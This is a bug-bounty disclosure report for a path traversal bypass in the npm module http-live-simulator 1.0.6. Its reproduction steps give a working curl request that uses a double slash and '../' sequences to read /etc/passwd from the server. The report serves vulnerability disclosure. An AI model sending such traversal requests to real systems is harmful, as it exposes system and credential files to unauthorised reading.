severity_rating: high created_at: 2018-09-19 11:06:04 vendor: nodejs-ecosystem https://hackerone.com/nodejs-ecosystem bounty_amount:

Module

module name: http-live-simulator
version: 1.0.6
npm page: https://www.npmjs.com/package/http-live-simulator

Description

this vulnerability is a bypass for the one found in this report in version 1.0.5

Steps To Reproduce:

1- Install the module : npm install -g http-live-simulator
2- Run the server : http-live
3- Attempt to access a file from outside that project's directory, such as curl --path-as-is http://localhost:8080//../../../../etc/passwd

The bypass

adding an extra / after the URL like :

http://localhost:8080//../../../../etc/passwd

mention the double slashes after the port number

Impact

path traversal vulnerability leading to read access in arbitrary files on disk

源链接

Hacking more

...